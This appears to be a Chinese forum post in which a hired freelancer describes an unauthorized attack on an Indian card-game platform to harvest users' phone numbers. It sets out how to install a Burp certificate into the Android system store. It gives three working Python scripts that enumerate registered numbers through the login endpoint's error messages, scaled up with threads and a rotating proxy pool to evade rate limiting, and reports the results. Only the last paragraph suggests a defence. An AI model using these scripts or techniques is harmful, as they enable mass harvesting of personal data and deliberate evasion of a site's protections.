|
渗透印度棋牌游戏平台由于这段时间失业在家,为了生计不得不接点私活。某个猎头找到我,然后简单的做了一轮面试,面试官也不懂技术,应该只是公司营销团队的。
本次目标
老板丢给我10个印度棋牌游戏站点,目标是拿下这些平台用户手机号和最近登录时间。下面是某个平台真实渗透过程,如有违法违规请联系我删除文章。
为了安全起见,我对部分敏感信息做了脱敏、截图中的敏感信息打了马赛克。下面姑且称这个倒霉平台是A
老板丢给我的A平台是一个域名,https://aaaa.com
1. web端
web端用的xiaocms,是一套内容管理系统,如果没有进行二次改造的话,android端的用户数据基本上不可能和该cms数据打通。不过还是针对web端做了一些尝试,得出如下结果:
用的xiaocms,阉割了前台的留言功能,导致无法实现后台csrf操作
可以暴力破解,但不知道用户名,被破解的概率很小
暂时没其他思路
2. android端
先想办法抓数据包,安卓7.0以上版本,要抓https数据包,APP不认用户证书,只认安卓根证书,不然抓不到数据包。
openssl将burp.cer转成burp.pem,然后将burp.pem改名为8位hash值,9a3b2a3e.0,然后把这个文件放到安卓系统证书目录
- openssl x509 -inform DER -in burp.cer -out burp.pem
- openssl x509 -inform burp.pem -subject_hash_old burp.pem
- 将上面证书8位hash对pem进行重命名:burp.pem > 9a3b2a3e.0
- 将9a3b2a3e.0推送到安卓系统证书根目录:adb push 9a3b2a3e.0 /system/etc/security/cacerts/
- adb shell chmod 644 /system/etc/security/cacerts/9a3b2a3e.0
- adb shell chgrp root /system/etc/security/cacerts/9a3b2a3e.0
- 重启一下安卓模拟器,设置一下代理就能抓到安卓端的数据包了
复制代码 老板的目的是拿用户手机号和最后一次登陆时间,冒烟走了一遍所有功能,发现没有接口有返回登陆时间。那就先想办法把手机号搞出来吧。
登陆接口返回用户不存在,如果存在会返回登陆成功或者密码错误。可以利用该漏洞,把所有手机号通过撞库撞出来,印度手机号规则如下:
- https://en.wikipedia.org/wiki/Mobile_telephone_numbering_in_India#9xxx_series
- 攻击脚本v0.1
- import requests
- url = "https://aaaa.com/login/moblie"
- for num in range(999999):
- num_str = "{:06d}".format(num)
- mobile = f"919840{num_str}"
- data = {"mobile":mobile,"password":"abcd123456","ipInfo":{"status":"success"}}
- try:
- res = requests.post(url=url,json=data,timeout=5)
- print(mobile+","+res.text)
- except:
- print("request failed")
复制代码
放在服务器上跑,防止我们SSH断开链接,脚本进程也跟着断了,所以挂到后台运行
- nohup python3 mobile_brute.py > result.log 2>&1 &
复制代码
目标服务器没有WAF,没有对单个IP频繁请求做限制,所以攻击脚本v0.1基本上可以满足。目标处理高并发的能力感觉还行,一天就撞完999999次,但撞出来的结果并不理想,100万次才撞出来75条
由于服务器并没有对频繁请求采取限制,串行运行太慢了,所以修改为多线程
攻击脚本v0.2-多线程
服务器CPU16核,运行10线程绰绰有余了。
- import requests
- from concurrent.futures import ThreadPoolExecutor
- import datetime
- def brute(start,end):
- url = "https://target/user/login/mobile"
- for num in range(start,end):
- num_str = "{:06d}".format(num)
- mobile = f"919840{num_str}"
- data = {"mobileNo":mobile,"password":"a123456","ipInfo":{"status":"success"}}
- try:
- res = requests.post(url=url, json=data, proxies=proxies, timeout=10)
- print(mobile+","+res.text)
- except Exception as e:
- print(mobile+str(e))
- if __name__ == '__main__':
- startime = datetime.datetime.now()
- num = [{"start":1,"end":100000},{"start":100001,"end":200000},{"start":200001,"end":300000},{"start":300001,"end":400000},{"start":400001,"end":500000},
- {"start":500001,"end":600000},{"start":600001,"end":700000},{"start":700001,"end":800000},{"start":800001,"end":900000},{"start":900001,"end":999999}]
- with ThreadPoolExecutor(max_workers=10) as executor:
- for i in range(10):
- executor.submit(lambda cxp:brute(*cxp),(num[i].get('start'),num[i].get('end')))
- endtime = datetime.datetime.now()
- print(endtime-startime)
复制代码
还是在服务器后台守护运行
- nohup python3 mobile_brute.py > result.log 2>&1 &
复制代码
头一天晚上改好脚本开始跑,第二天早上起来一看,好多timeout
好多success日志
这显然有些不正常,拿了第一个success对应的手机号去APP里登录,919843558247,提示该手机号未注册。
日志中还出现了好多 too many requests
显然,平台发现有人在搞他们了,做出了相应的安全对应措施了。通过测试,可以猜测应该是在业务后端或者API网关做了限流了,应该是从nginx中获取remote_addr值来限制客户端单个IP频繁发起请求。
我设置每个请求间隔5秒
但同样出现了429状态,Too many requests
总不能每个请求间隔60s吧?1分钟撞一次,印度9开头的10位手机号,要撞999999999次才能撞完,一分钟一次实在不现实。
攻击脚本v0.3 多线程+代理IP切换
代理的选择:调研了几家IP代理池商家,其中有几种代理模式:residential、datacenter、ISP,residential是私人家里的用的IP,datacenter是全球各地机房的IP。两种模式都有static和rotaing模式。对于我而言,能自动切换IP是最好的,所以选择了datacenter的rotaing模式,用的share共享代理池,性价比最高。
这是某个代理平台的配置界面
后面在Access parameters里面生产一个rotating代理地址:endpoint:port
先尝试下能否动态切换IP代理
可以看到3次IP不一样的,接下来就可以改代码了
- import requests
- from concurrent.futures import ThreadPoolExecutor
- import datetime
- def brute(start,end):
- proxy_user = "*********"
- proxy_pass = "*****"
- proxies = {"http": f"http://{proxy_user}:{proxy_pass}@pr.****.com:16666",
- 'https': f'http://{proxy_user}:{proxy_pass}@pr.****.com:16666'}
- url = "https://target.com/user/login/mobile"
- for num in range(start,end):
- num_str = "{:05d}".format(num)
- mobile = f"9198450{num_str}"
- data = {"mobileNo":mobile,"password":"a123456","ipInfo":{"status":"success"}}
- try:
- res = requests.post(url=url, json=data, proxies=proxies, timeout=10)
- text = mobile + "," + res.text
- print(text)
- except Exception as e:
- timeout_mobile = mobile+",timeout"
- print(timeout_mobile+","+str(e))
- if __name__ == '__main__':
- startime = datetime.datetime.now()
- num = [{"start":1,"end":10000},{"start":10001,"end":20000},{"start":20001,"end":30000},{"start":30001,"end":40000},{"start":40001,"end":50000},
- {"start":50001,"end":60000},{"start":60001,"end":70000},{"start":70001,"end":80000},{"start":80001,"end":90000},{"start":90001,"end":99999}]
- with ThreadPoolExecutor(max_workers=4) as executor:
- for i in range(10):
- executor.submit(lambda cxp:brute(*cxp),(num[i].get('start'),num[i].get('end')))
- endtime = datetime.datetime.now()
- print(endtime-startime)
复制代码
印度手机号一共10位数,具体的规则上面2.2中已经贴出了维基百科了,这里简单截图说明下。其实9xxx,这3位其实没有999,有些运营商还没放出来的号段,比如下图中的空格部分,就不需要去撞库了。上面的代码示例是撞98450xxxxx后面的5位,一共撞99999次就ok了
看下攻击脚本v0.3的效果,昨天晚上20:35左右开撞,今天14:07左右,大概撞了17.5小时,撞了139189个号码。基本上一小时撞8000号码左右,一分钟133个左右,每秒2-3次。效率还是太低,感觉脚本还可以改良,后面多线程改成协程试试看。
先看以下v0.3跑出的结果,每跑十几、二十次就会出现无法访问目标的情况,这应该和代理有关系,后面把这些没有请求成功的手机号筛选出来再重新跑一边。
请求失败10631次,总请求数141651,请求失败率7.5%,这么高的连接失败率挺蛋疼的,和代理的质量有很大的关系,这是无法通过自身技术来改变的事情,只能把连接失败的手机号再跑一遍了。
最后我想说的是,攻击和防御其实最重要的是投入产出比,过度投入成本防御并不一定好,ROI可能是负的。本次案例,我觉得对方做的策略就挺好,通过判断单个IP频繁请求来限制访问业务,攻击者就需要去买代理池,甚至为了提高产出率会加机器分布式去撞成本更高了。从甲方角度来说,这里其实可以做的更加安全一些,都不需要投入过多的投入成本,只需要对每个请求进行数字签名就ok,客户端加签逻辑代码、Hmac key做混淆,就需要攻击者花大量的时间成本去反编译客户端,有些加签功能还是通过加载.so动态进行的,要找到签名逻辑和密钥更加困难了。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|